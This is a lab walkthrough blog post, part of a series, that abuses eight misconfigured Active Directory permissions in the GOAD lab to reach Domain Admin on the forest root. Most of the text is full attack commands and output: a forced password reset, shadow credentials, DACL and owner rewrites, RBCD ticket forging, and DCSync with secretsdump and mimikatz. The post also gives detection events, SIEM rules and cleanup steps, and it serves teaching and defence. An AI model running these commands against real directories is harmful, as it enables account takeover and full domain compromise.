---
title: "GOAD Part 3: Walking the ACL Chain to the Forest Root"
description: "Eight misconfigured ACLs stand between a single recovered password and Domain Admin on the sevenkingdoms.local forest root. Each edge is a different right and forces a different technique. This is every hop, every tool, and the two places it tried to fail."
date: 2026-11-04
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/posts/sevenkingdoms-acl-chain/
---

## From a child domain to the forest root

[Part 2](/posts/north-domain-compromise/) ended with full control of `DC02` in the `north.sevenkingdoms.local` child domain. Owning a child does not automatically own the forest root — the two are different domains sharing a trust — so this part crosses into the parent, `sevenkingdoms.local`, and ends as Domain Admin on `DC01` (`kingslanding`, `192.168.56.10`).

There is no software exploit here. The only thing standing between an ordinary user and the Domain Controller is a chain of **Access Control List** mistakes: one principal holding a dangerous permission over the next. [Part 1](/posts/opening-an-active-directory-assessment/) already recovered the entry point — `tywin.lannister : powerkingftw135`, decrypted out of a SYSVOL `SecureString` — and BloodHound drew the eight-hop path from him to `KINGSLANDING`:

<figure class="evidence"><img src="/images/posts/goad-evidence/active-directory-relationship-chain.webp" alt="Illustrated recap of the eight-hop ACL chain from tywin.lannister to the KINGSLANDING Domain Controller" loading="lazy" /><figcaption><span>Chain overview</span> The path we are about to walk, hop by hop: <code>tywin → jaime → joffrey → tyron →</code> Small Council <code>→</code> Dragonstone <code>→</code> Kingsguard <code>→ stannis →</code> KINGSLANDING.</figcaption></figure>

### Forest root baseline and defensive posture

The official GOAD documentation configures `sevenkingdoms.local` as the root of the first forest:

| Host | IP | Role | OS | Windows Defender | Defensive Posture |
| :--- | :--- | :--- | :--- | :--- | :--- |
| `DC01` (kingslanding) | `192.168.56.10` | Forest Root DC, Enterprise CA (AD CS), KDC | Windows Server 2019 | **Enabled** | Memory-only LDAP ACL updates, Kerberos PKINIT, and DCSync generate zero antivirus alerts; all detection relies strictly on Windows Security Event logging. |

The important thing about this chain is that **every hop is a different right, and the right dictates the technique.** You cannot run one tool eight times. Some edges hand you a password hash cleanly; some force a destructive reset; some give you nothing until you first rewrite the target's permissions. The table below is the map I kept open the whole time:

| # | Edge | Over | Right lets you… | Technique used | Windows Event ID |
| --- | --- | --- | --- | --- | --- |
| 1 | `ForceChangePassword` | jaime.lannister | reset the password (nothing else) | `net rpc password` | `4724` (Password reset attempt) |
| 2 | `GenericWrite` | joffrey.baratheon | write `msDS-KeyCredentialLink` | shadow credentials (`certipy`) | `5136` (`msDS-KeyCredentialLink` write) |
| 3 | `WriteDacl` | tyron.lannister | add an ACE granting yourself more | `dacledit` → shadow credentials | `4670` / `5136` (DACL rewrite) |
| 4 | `AddSelf` | Small Council | add *yourself* to the group | `bloodyAD add groupMember` | `4728` (Member added to group) |
| 5 | `AddMember` | Dragonstone | add *anyone* to the group | `bloodyAD add groupMember` | `4728` (Member added to group) |
| 6 | `WriteOwner` | Kingsguard | become owner → rewrite its DACL | `owneredit` → `dacledit` → add | `4670` (Object owner changed) |
| 7 | `GenericAll` | stannis.baratheon | full control of the user | shadow credentials (`certipy`) | `5136` (KeyCredential write) |
| 8 | `GenericAll` | KINGSLANDING$ (DC) | full control of the DC object | RBCD → `S4U` → DCSync | `4741` + `5136` + `4662` (DCSync) |

Every permission in that table is readable from LDAP by any authenticated user, which is why BloodHound can draw the path before you touch anything. I confirmed each edge on the wire with `impacket-dacledit -action read` before abusing it — both to prove it was really there and because the ACE type tells you which attack is even possible.

What makes the chain worth drawing at all is that it is not a same-tier stroll. It crosses Microsoft's entire tiering model: four standard users at the bottom, a run of bridge groups and a delegated user in the middle, and the forest-root Domain Controller at the top. The "eight hops" are really eight small steps across one big boundary.

<figure class="diagram">
<svg viewBox="0 0 760 250" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="The eight-hop ACL chain crosses the Microsoft tiering model: four standard users in Tier 2 at the bottom, a run of bridge groups and a delegated user in Tier 1 in the middle, and the forest root Domain Controller KINGSLANDING in Tier 0 at the top.">
<defs><marker id="tier-m" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="16" class="dg-muted">THE ACL CHAIN CROSSES THE TIER BOUNDARY</text>
<rect x="0" y="40" width="760" height="56" rx="8" class="dg-box-danger" />
<text x="16" y="62" class="dg-crit">TIER 0 · FOREST ROOT</text>
<text x="16" y="82" class="dg-label">KINGSLANDING$ (DC01) — Domain Admin, DCSync</text>
<line x1="380" y1="112" x2="380" y2="96" class="dg-line-crit" marker-end="url(#tier-m)" />
<rect x="0" y="112" width="760" height="56" rx="8" class="dg-box-accent" />
<text x="16" y="134" class="dg-accent">TIER 1 · BRIDGE GROUPS</text>
<text x="16" y="154" class="dg-label">Small Council → Dragonstone → Kingsguard → stannis.baratheon</text>
<line x1="380" y1="184" x2="380" y2="168" class="dg-line-crit" marker-end="url(#tier-m)" />
<rect x="0" y="184" width="760" height="56" rx="8" class="dg-box" />
<text x="16" y="206" class="dg-muted">TIER 2 · STANDARD USERS</text>
<text x="16" y="226" class="dg-label">tywin → jaime → joffrey → tyron</text>
</svg>
<figcaption>The eight hops as a tier climb: four standard users (<code>Tier 2</code>) become a run of group memberships (<code>Tier 1</code>) and end as Domain Admin on the forest-root DC (<code>Tier 0</code>). The chain is a boundary crossing, not a same-tier walk.</figcaption>
</figure>

> [!NOTE]
> **Why walk eight hops instead of targeting Domain Admins directly?**
> The official GOAD design implements specific hardening controls on high-privilege accounts:
> - `robert.baratheon` (Domain Admin) is placed in the **Protected Users** group, which disables NTLM caching, prevents credential delegation, and enforces AES-only Kerberos pre-authentication.
> - `renly.baratheon` is configured with the `Account is sensitive and cannot be delegated` flag.
> - Direct compromise of Tier 0 accounts is deliberately blocked by policy, making the ACL graph through `Small Council`, `Dragonstone`, and `Kingsguard` the only viable architectural path to the forest root.

### BloodHound Cypher: Tracing the shortest path and replication rights

Rather than manually querying LDAP objects, BloodHound graph queries can compute the entire shortest attack path and surface replication rights (`DCSync`):

```cypher
// 1. Shortest path from tywin.lannister to KINGSLANDING Domain Controller
MATCH p=shortestPath((u:User {name: 'TYWIN.LANNISTER@SEVENKINGDOMS.LOCAL'})-[*1..]->(c:Computer {name: 'DC01.SEVENKINGDOMS.LOCAL'}))
RETURN p

// 2. Discovering principals holding GetChanges / GetChangesAll across the domain
MATCH (n)-[r:GetChanges|GetChangesAll]->(d:Domain)
RETURN n.name AS Principal, type(r) AS ReplicationRight, d.name AS Domain
```

## Hops 1–3: from a password reset to two clean hashes

`tywin.lannister` holds exactly one right over `jaime.lannister`, and reading the ACE spells out the limitation:

```bash
$ impacket-dacledit -action read -principal tywin.lannister -target jaime.lannister \
    'sevenkingdoms.local/tywin.lannister:powerkingftw135' -dc-ip 192.168.56.10
[*]   ACE[0] info
[*]     ACE Type       : ACCESS_ALLOWED_OBJECT_ACE
[*]     Access mask    : ControlAccess (0x100)
[*]     Object type    : User-Force-Change-Password (00299570-246d-11d0-a768-00aa006e0529)
[*]     Trustee (SID)  : tywin.lannister
```

`ForceChangePassword` is a single extended right. It does **not** let you write `msDS-KeyCredentialLink`, set an SPN, or read anything — the only move is to overwrite jaime's password without knowing the old one:

```bash
$ net rpc password jaime.lannister 'Jankesec2026!' \
    -U 'sevenkingdoms.local/tywin.lannister%powerkingftw135' -S 192.168.56.10
$ nxc smb 192.168.56.10 -u jaime.lannister -p 'Jankesec2026!' -d sevenkingdoms.local
SMB  192.168.56.10  445  KINGSLANDING  [+] sevenkingdoms.local\jaime.lannister:Jankesec2026!
```

This is the loud, destructive hop, and it is worth sitting with *why*. In a real engagement, resetting a live user's password locks that person out and generates a help-desk ticket within minutes — the single noisiest thing in this whole chain. There is no quiet alternative, because the edge type simply does not grant one. When you see `ForceChangePassword` and nothing else, you accept the noise or you find another path.

From an authenticated Windows session with the ActiveDirectory PowerShell module, this reset translates to:

```powershell
# PowerShell native password reset without knowing old credentials
Set-ADAccountPassword jaime.lannister -Reset -NewPassword (ConvertTo-SecureString 'Jankesec2026!' -AsPlainText -Force)
```

`jaime.lannister` holds `GenericWrite` over `joffrey.baratheon`, and that is a different story:

```bash
$ impacket-dacledit -action read -principal jaime.lannister -target joffrey.baratheon \
    'sevenkingdoms.local/jaime.lannister:Jankesec2026!' -dc-ip 192.168.56.10
[*]     Access mask    : ReadControl, WriteProperties, Self (0x20028)
[*]     Trustee (SID)  : jaime.lannister
```

`GenericWrite` includes the right to write `msDS-KeyCredentialLink`, which is the whole basis of a **shadow-credentials** attack: add a certificate-backed key to the target, authenticate as them over PKINIT, and recover their NT hash — all without changing their password. `sevenkingdoms.local` runs AD CS on `kingslanding`, so PKINIT works and `certipy shadow auto` does the full dance and then puts the account back the way it found it:

```bash
$ certipy-ad shadow auto -u jaime.lannister@sevenkingdoms.local -p 'Jankesec2026!' \
    -account joffrey.baratheon -dc-ip 192.168.56.10
[*] Adding Key Credential with device ID '4061...' to 'joffrey.baratheon'
[*] Authenticating as 'joffrey.baratheon' with the certificate
[*] Got TGT
[*] Restoring the old Key Credentials for 'joffrey.baratheon'
[*] NT hash for 'joffrey.baratheon': 3b60abbc25770511334b3829866b08f1
```

If this domain had no AD CS, shadow credentials would not be an option, and the `GenericWrite` fallback would be **targeted Kerberoasting**: write an SPN onto joffrey, request a ticket, and crack it — which only works if joffrey's password is weak. The shadow-credentials route doesn't care how strong the password is, which is exactly why it is the first thing to reach for when the right allows it.

On a Windows host, the same KeyCredentialLink injection can be driven via C# tooling:

```powershell
# Windows & C# equivalent (Whiskey / PKINITtools)
Whiskey.exe --target joffrey.baratheon --domain sevenkingdoms.local --action add
```

The third hop shows what a right that gives you *nothing on its own* looks like. `joffrey.baratheon` has `WriteDacl` over `tyron.lannister`:

```bash
$ impacket-dacledit -action read -principal joffrey.baratheon -target tyron.lannister \
    -hashes :3b60abbc25770511334b3829866b08f1 'sevenkingdoms.local/joffrey.baratheon' -dc-ip 192.168.56.10
[*]     Access mask    : WriteDACL (0x40000)
[*]     Trustee (SID)  : joffrey.baratheon
```

`WriteDacl` is permission to rewrite the target's permissions. So the move is two-step: first grant yourself full control, then abuse *that*. `dacledit` even backs up the original DACL so the change is reversible:

```bash
$ impacket-dacledit -action write -rights FullControl -principal joffrey.baratheon \
    -target tyron.lannister -hashes :3b60abbc25770511334b3829866b08f1 \
    'sevenkingdoms.local/joffrey.baratheon' -dc-ip 192.168.56.10
[*] DACL backed up to dacledit-20261103-201748.bak
[*] DACL modified successfully!

$ certipy-ad shadow auto -u joffrey.baratheon@sevenkingdoms.local \
    -hashes :3b60abbc25770511334b3829866b08f1 -account tyron.lannister -dc-ip 192.168.56.10
[*] NT hash for 'tyron.lannister': b3b3717f7d51b37fb325f7e7d048e998
```

On Windows with PowerView, the DACL rewrite is performed directly via:

```powershell
# PowerView: grant FullControl over tyron.lannister
Add-DomainObjectAcl -TargetIdentity tyron.lannister -PrincipalIdentity joffrey.baratheon -Rights All
```

**Detection:** Shadow-credentials writes land as Event ID `5136` modifying `msDS-KeyCredentialLink`; DACL rewrites as `5136` on `nTSecurityDescriptor`; the password reset as `4724`/`4738`. The single highest-value signal is any write to `msDS-KeyCredentialLink` on an account that has no business holding device keys. **Control:** Prune object ACLs so non-admins don't hold `GenericWrite`/`WriteDacl`/`GenericAll` over other users, put privileged accounts in **Protected Users**, and harden AD CS so PKINIT cannot be abused — shadow credentials die without a CA to lean on.

## Hops 4–6: climbing the group stack

The next three edges are group permissions, and they chain through *membership*: once you are inside a group, you inherit its outbound rights. `tyron.lannister` has `AddSelf` over **Small Council** — the self-membership right, and nothing more:

```bash
$ impacket-dacledit -action read -principal tyron.lannister -target 'Small Council' ...
[*]     Access mask    : Self (0x8)
[*]     Object type    : Self-Membership (bf9679c0-0de6-11d0-a285-00aa003049e2)

$ bloodyAD --host 192.168.56.10 -d sevenkingdoms.local -u tyron.lannister \
    -p :b3b3717f7d51b37fb325f7e7d048e998 add groupMember 'Small Council' tyron.lannister
[+] tyron.lannister added to Small Council
```

`AddSelf` lets you add *yourself* and no one else. **Small Council** then holds `AddMember` over **Dragonstone** — a `WriteProperty` on the member attribute, which is the stronger "add anyone" version — so now, authenticated as tyron (who is a Small Council member), I add him to Dragonstone too:

```bash
$ impacket-dacledit -action read -principal 'Small Council' -target 'Dragonstone' ...
[*]     Access mask    : WriteProperty (0x20)
[*]     Object type    : Self-Membership (bf9679c0-0de6-11d0-a285-00aa003049e2)

$ bloodyAD ... add groupMember 'Dragonstone' tyron.lannister
[+] tyron.lannister added to Dragonstone
```

A subtlety that bites people here: in Windows, a new group membership only takes effect after a fresh logon, because the group SIDs are baked into the Kerberos ticket. But these tools authenticate with a fresh NTLM bind each time, and the DC evaluates group membership at bind time — so tyron's brand-new Small Council membership is already live on the very next command. No re-login, no ticket juggling.

**Dragonstone** has `WriteOwner` over **Kingsguard**, which is the most roundabout edge in the chain. Owning an object doesn't let you add members by itself — but the owner of any AD object *implicitly* holds `WriteDacl`. So: take ownership, use that implicit `WriteDacl` to grant yourself `WriteMembers`, then add yourself.

```bash
$ impacket-dacledit -action read -principal 'Dragonstone' -target 'Kingsguard' ...
[*]     Access mask    : WriteOwner (0x80000)

$ impacket-owneredit -action write -new-owner tyron.lannister -target 'Kingsguard' ...
[*] OwnerSid modified successfully!
$ impacket-dacledit -action write -rights WriteMembers -principal tyron.lannister -target 'Kingsguard' ...
[*] DACL modified successfully!
$ bloodyAD ... add groupMember 'Kingsguard' tyron.lannister
[+] tyron.lannister added to Kingsguard
```

Executing this entire group escalation sequence natively in PowerShell with PowerView:

```powershell
# Add tyron.lannister to Small Council and Dragonstone
Add-ADGroupMember -Identity "Small Council" -Members tyron.lannister
Add-ADGroupMember -Identity "Dragonstone" -Members tyron.lannister

# Take ownership of Kingsguard, grant WriteMembers right, and join
Set-DomainObjectOwner -Identity "Kingsguard" -OwnerIdentity tyron.lannister
Add-DomainObjectAcl -TargetIdentity "Kingsguard" -PrincipalIdentity tyron.lannister -Rights WriteMembers
Add-ADGroupMember -Identity "Kingsguard" -Members tyron.lannister
```

**Detection:** Group membership changes are Event ID `4728`/`4732`/`4756`; ownership changes and the follow-up DACL edit are both `5136`. An owner change on a privileged group, immediately followed by a permission change on the same object, is a near-perfect signature of this exact abuse. **Control:** Treat ACLs *on groups* as seriously as group membership itself — `WriteOwner`, `WriteDacl`, and `AddMember` over a privileged group are each equivalent to membership. Flatten nested groups so one stray edge doesn't cascade into Tier 0.

## Hops 7–8: taking the Domain Controller

Membership in **Kingsguard** grants `GenericAll` over `stannis.baratheon` — full control of a user, so shadow credentials one more time:

```bash
$ impacket-dacledit -action read -principal 'Kingsguard' -target stannis.baratheon ...
[*]     Access mask    : FullControl (0xf01ff)

$ certipy-ad shadow auto -u tyron.lannister@sevenkingdoms.local \
    -hashes :b3b3717f7d51b37fb325f7e7d048e998 -account stannis.baratheon -dc-ip 192.168.56.10
[*] NT hash for 'stannis.baratheon': d75b9fdf23c0d9a6549cff9ed6e489cd
```

And `stannis.baratheon` is where the chain pays off: he has `GenericAll` over the **computer object of the Domain Controller itself**, `KINGSLANDING$`. Full control of a DC's computer account is full control of the DC. The classic technique is **Resource-Based Constrained Delegation (RBCD)**, and it needs a computer account you control to delegate *from*. The first question is therefore whether the domain will even let me make one:

```bash
$ bloodyAD ... get object 'DC=sevenkingdoms,DC=local' --attr ms-DS-MachineAccountQuota
ms-DS-MachineAccountQuota: 10
```

`MachineAccountQuota = 10` — the default, and all RBCD needs. (Had it been `0`, this hop would fall back to writing a shadow credential straight onto `KINGSLANDING$` and authenticating as the machine account; that path is immune to the quota.) With a quota in hand, I create a computer, point the DC's `msDS-AllowedToActOnBehalfOfOtherIdentity` at it, and use `S4U2Self`/`S4U2Proxy` to mint a ticket to the DC *as Administrator*:

<figure class="diagram">
<svg viewBox="0 0 760 250" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="The RBCD finale. Starting from stannis.baratheon's GenericAll over the KINGSLANDING computer object, step one creates a computer account jankesec dollar. Step two writes msDS-AllowedToActOnBehalfOfOtherIdentity on KINGSLANDING to trust jankesec. Step three runs S4U2Self and S4U2Proxy as jankesec to obtain a CIFS ticket to KINGSLANDING impersonating Administrator. Step four uses that Administrator access to DCSync the krbtgt and Administrator hashes from the Domain Controller.">
<defs><marker id="rb-c" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="14" class="dg-muted">GENERICALL OVER THE DC OBJECT → RBCD → DOMAIN ADMIN</text>
<rect x="0" y="30" width="168" height="56" rx="8" class="dg-box" />
<text x="14" y="54" class="dg-label">stannis.baratheon</text>
<text x="14" y="73" class="dg-mono dg-compact">GenericAll → DC$</text>
<line x1="168" y1="58" x2="212" y2="58" class="dg-line-crit" marker-end="url(#rb-c)" />
<rect x="216" y="30" width="190" height="56" rx="8" class="dg-box" />
<text x="230" y="52" class="dg-label">1 · add computer</text>
<text x="230" y="71" class="dg-mono dg-compact">jankesec$ (MAQ=10)</text>
<line x1="406" y1="58" x2="450" y2="58" class="dg-line-crit" marker-end="url(#rb-c)" />
<rect x="454" y="30" width="306" height="56" rx="8" class="dg-box" />
<text x="468" y="52" class="dg-label">2 · write RBCD on KINGSLANDING$</text>
<text x="468" y="71" class="dg-mono dg-compact">msDS-AllowedToActOnBehalfOfOtherIdentity</text>
<line x1="607" y1="86" x2="607" y2="120" class="dg-line-crit" marker-end="url(#rb-c)" />
<rect x="454" y="124" width="306" height="54" rx="8" class="dg-box" />
<text x="468" y="146" class="dg-label">3 · S4U2Self + S4U2Proxy as jankesec$</text>
<text x="468" y="165" class="dg-mono dg-compact">cifs/kingslanding → impersonate Administrator</text>
<line x1="454" y1="151" x2="410" y2="151" class="dg-line-crit" marker-end="url(#rb-c)" />
<rect x="150" y="124" width="256" height="54" rx="8" class="dg-box-danger" />
<text x="164" y="146" class="dg-label">4 · DCSync KINGSLANDING (DC01)</text>
<text x="164" y="165" class="dg-danger">krbtgt + Administrator hashes</text>
<text x="0" y="214" class="dg-muted">Administrator ticket → replication rights → every secret in sevenkingdoms.local</text>
</svg>
<figcaption>The capstone: <code>GenericAll</code> over the Domain Controller's computer object becomes Domain Admin through RBCD and a forged <code>Administrator</code> service ticket.</figcaption>
</figure>

```bash
$ impacket-addcomputer -computer-name 'jankesec$' -computer-pass 'Jankesec2026Comp!' \
    'sevenkingdoms.local/stannis.baratheon' -hashes :d75b9fdf23c0d9a6549cff9ed6e489cd -dc-ip 192.168.56.10
[*] Successfully added machine account jankesec$

$ impacket-rbcd -delegate-from 'jankesec$' -delegate-to 'KINGSLANDING$' -action write \
    'sevenkingdoms.local/stannis.baratheon' -hashes :d75b9fdf23c0d9a6549cff9ed6e489cd -dc-ip 192.168.56.10
[*] Delegation rights modified successfully!

$ impacket-getST -spn 'cifs/kingslanding.sevenkingdoms.local' -impersonate Administrator \
    'sevenkingdoms.local/jankesec$:Jankesec2026Comp!' -dc-ip 192.168.56.10
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
```

With that ticket, `secretsdump` can DCSync the forest root — except the first attempt failed, and the failure is a useful one:

```bash
$ export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
$ impacket-secretsdump -k -no-pass kingslanding.sevenkingdoms.local -just-dc-user krbtgt
[-] ERROR_DS_NAME_ERROR_NOT_UNIQUE: Name translation: Input name mapped to more than one output name.
```

`krbtgt` exists in *every* domain of the forest, so an unqualified name is ambiguous. Qualifying it with the NetBIOS domain fixes it immediately:

```bash
$ impacket-secretsdump -k -no-pass kingslanding.sevenkingdoms.local -just-dc-user 'SEVENKINGDOMS/krbtgt'
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72765225164f1b6542a3b0464aad363a:::
$ impacket-secretsdump -k -no-pass kingslanding.sevenkingdoms.local -just-dc-user 'SEVENKINGDOMS/Administrator'
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::

$ nxc smb 192.168.56.10 -u Administrator -H c66d72021a2d4744409969a581a1705e -d sevenkingdoms.local
SMB  192.168.56.10  445  KINGSLANDING  [+] sevenkingdoms.local\Administrator:c66d72... (Pwn3d!)
```

### Windows & PowerShell tool equivalents (PowerView & Mimikatz)

On Windows endpoints, machine account creation, RBCD security descriptor configuration, and DCSync replication can be performed natively:

```powershell
# 1. Create computer account and write msDS-AllowedToActOnBehalfOfOtherIdentity via PowerView
New-MachineAccount -MachineAccount jankesec -Password (ConvertTo-SecureString 'Jankesec2026Comp!' -AsPlainText -Force)
$RawSecurityDescriptor = (Get-Acl "AD:\CN=jankesec,CN=Computers,DC=sevenkingdoms,DC=local").sddl
Set-DomainObject -Identity "KINGSLANDING$" -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $RawSecurityDescriptor}

# 2. Execute DCSync directly against the DC using Mimikatz
mimikatz.exe "lsadump::dcsync /domain:sevenkingdoms.local /user:SEVENKINGDOMS\krbtgt" "exit"
```

That `krbtgt` hash is the key to a Golden Ticket for the entire `sevenkingdoms.local` domain, and `Pwn3d!` confirms Domain Admin on the forest root. Eight readable permissions, one recovered password, zero software vulnerabilities.

**Detection:** Computer creation is Event ID `4741`; the RBCD write is `5136` on `msDS-AllowedToActOnBehalfOfOtherIdentity`; the `S4U` exchange shows as `4769` tickets with the `TransitedServices` field populated; and DCSync is `4662` replication access (`DS-Replication-Get-Changes`) sourced from something that is not a Domain Controller — the single clearest "game over" alert in AD. **Control:** Set `MachineAccountQuota` to `0` so ordinary users cannot create the computer RBCD needs; restrict who may write `msDS-AllowedToActOnBehalfOfOtherIdentity`; place Domain Admins in **Protected Users** and mark them sensitive/non-delegable; and alert on replication requests from non-DC source hosts.

## Defensive telemetry and SIEM detection rules

Hunting the hops across this ACL chain requires dedicated correlation rules in SIEM platforms targeting LDAP writes and directory replication:

### 1. Splunk: DCSync Replication Abuse (Event ID 4662)

Detects non-machine accounts or untrusted hosts requesting directory synchronization (`DS-Replication-Get-Changes` GUID `{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}` or `DS-Replication-Get-Changes-All` GUID `{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}`):

```splunk
index=wineventlog EventCode=4662 ObjectType="domainDNS"
| search AccessMask="0x100" AND (Properties="*{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}*" OR Properties="*{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}*")
| search NOT (SubjectUserName="*$" OR SubjectUserName="MSOL_*")
| table _time, SubjectUserName, ComputerName, ObjectName, AccessMask, Properties
```

### 2. Splunk: Shadow Credentials Key Link Write (Event ID 5136)

Flags writes to the `msDS-KeyCredentialLink` attribute used by Certipy / Whiskey to establish certificate-backed passwordless authentication:

```splunk
index=wineventlog EventCode=5136 AttributeLDAPDisplayName="msDS-KeyCredentialLink" OperationType="%%14674"
| table _time, SubjectUserName, ObjectDN, AttributeValue
```

### 3. Splunk: RBCD Modification on Domain Controller (Event ID 5136)

Identifies unauthorized changes to `msDS-AllowedToActOnBehalfOfOtherIdentity` on Domain Controller computer objects:

```splunk
index=wineventlog EventCode=5136 AttributeLDAPDisplayName="msDS-AllowedToActOnBehalfOfOtherIdentity"
| search ObjectDN="*OU=Domain Controllers,DC=*"
| table _time, SubjectUserName, ObjectDN, OperationType
```

### 4. Sigma rule snippet: Directory service replication by non-DC account

```yaml
title: Potential DCSync Replication by Non-DC Account
status: experimental
description: Detects DS replication rights abuse targeting domainDNS object
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectType: 'domainDNS'
  rights:
    AccessList|contains:
      - '{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}'
      - '{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}'
  filter:
    SubjectUserName|endswith: '$'
  condition: selection and rights and not filter
falsepositives:
  - Legitimate AD synchronization agents (e.g. Entra Connect / Azure AD Sync)
level: critical
```

## Cleaning up

Half of this chain changed live directory state, and a professional engagement reverts what it can. The `dacledit` and `owneredit` steps each wrote a `.bak` of the original security descriptor, so the DACL on `tyron` and the owner/DACL on `Kingsguard` restore from those backups. The RBCD attribute comes straight back off the DC, and the rogue computer should be removed:

```bash
$ impacket-rbcd -delegate-to 'KINGSLANDING$' -action flush 'sevenkingdoms.local/stannis.baratheon' -hashes :d75b...
[*] Delegation rights flushed successfully!
```

The group memberships added along the way (tyron into Small Council, Dragonstone, Kingsguard) should be removed too. The one thing you cannot undo is hop 1: `jaime.lannister`'s original password is gone, which is precisely why `ForceChangePassword` is the hop you flag loudest in the report.

## Summary of findings

| Finding | Edge → target | Impact | Verify (from Kali) | Control |
| --- | --- | --- | --- | --- |
| `ForceChangePassword` over a user | `tywin` → `jaime` | Account takeover (destructive reset) | `impacket-dacledit -action read` | Remove non-admin reset rights; Protected Users |
| `GenericWrite`/`GenericAll` over a user | `jaime` → `joffrey`, `Kingsguard` → `stannis` | Shadow credentials → NT hash, no reset | `certipy-ad shadow auto -account <u>` | Harden AD CS / PKINIT; restrict `msDS-KeyCredentialLink` |
| `WriteDacl` over a user | `joffrey` → `tyron` | Grant self full control, then take over | `impacket-dacledit -action write -rights FullControl` | Audit `5136` on `nTSecurityDescriptor` |
| `AddSelf` / `AddMember` on a group | `tyron` → Small Council → Dragonstone | Inherit the group's outbound rights | `bloodyAD add groupMember` | Treat group ACLs as membership; flatten nesting |
| `WriteOwner` on a group | Dragonstone → Kingsguard | Own → implicit `WriteDacl` → join | `impacket-owneredit` + `dacledit` | Lock down owner changes on privileged groups |
| `GenericAll` over a DC computer | `stannis` → `KINGSLANDING$` | RBCD → `Administrator` ticket → DCSync | `impacket-rbcd` + `getST` + `secretsdump -k` | `MachineAccountQuota=0`; restrict RBCD writes; alert `4662` |

## Up next in Part 4

Owning `sevenkingdoms.local` gives us the forest root, but GOAD is a *multi-forest* lab. In **Part 4** we turn to the second forest, `essos.local`. The cross-forest trust enforces SID filtering (`trustAttributes: 8`), so a forged ticket carrying `ExtraSids` / SID history will *not* cross the boundary as Domain Admin. Instead we use the `missandei` foothold from Part 1 to attack `essos.local` from the inside — walking its own ACL chain (`missandei → khal.drogo → viserys.targaryen`) and abusing the `ESSOS-CA` certificate templates (`ESC1`) to reach `daenerys.targaryen` and DCSync the second forest.

## Evidence and limits

All eight ACL hops were executed inside the isolated GOAD lab against `sevenkingdoms.local` and `KINGSLANDING` (`192.168.56.10`). Destructive mutations along the path — the `jaime.lannister` password reset, DACL and owner rewrites on `tyron.lannister` and `Kingsguard`, group additions, and the RBCD computer account — were explicitly reverted in the cleanup step, and the VM snapshot was restored after verification. The accounts, passwords, and hashes shown are GOAD lab fixtures.

## References

- **Orange Cyberdefense, GOAD:** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/)
- **S1ckB0y1337, AD Exploitation Cheat Sheet:** [github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet)
- **The Hacker Recipes, Abusing ACEs (DACL):** [thehacker.recipes/ad/movement/dacl](https://www.thehacker.recipes/ad/movement/dacl)
- **Elad Shamir, Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory:** [shenaniganslabs.io](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
- **SpecterOps, Shadow Credentials:** [posts.specterops.io](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
- **MITRE ATT&CK, DCSync (T1003.006):** [attack.mitre.org/techniques/T1003/006](https://attack.mitre.org/techniques/T1003/006/)
- **MITRE ATT&CK, Account Manipulation (T1098):** [attack.mitre.org/techniques/T1098](https://attack.mitre.org/techniques/T1098/)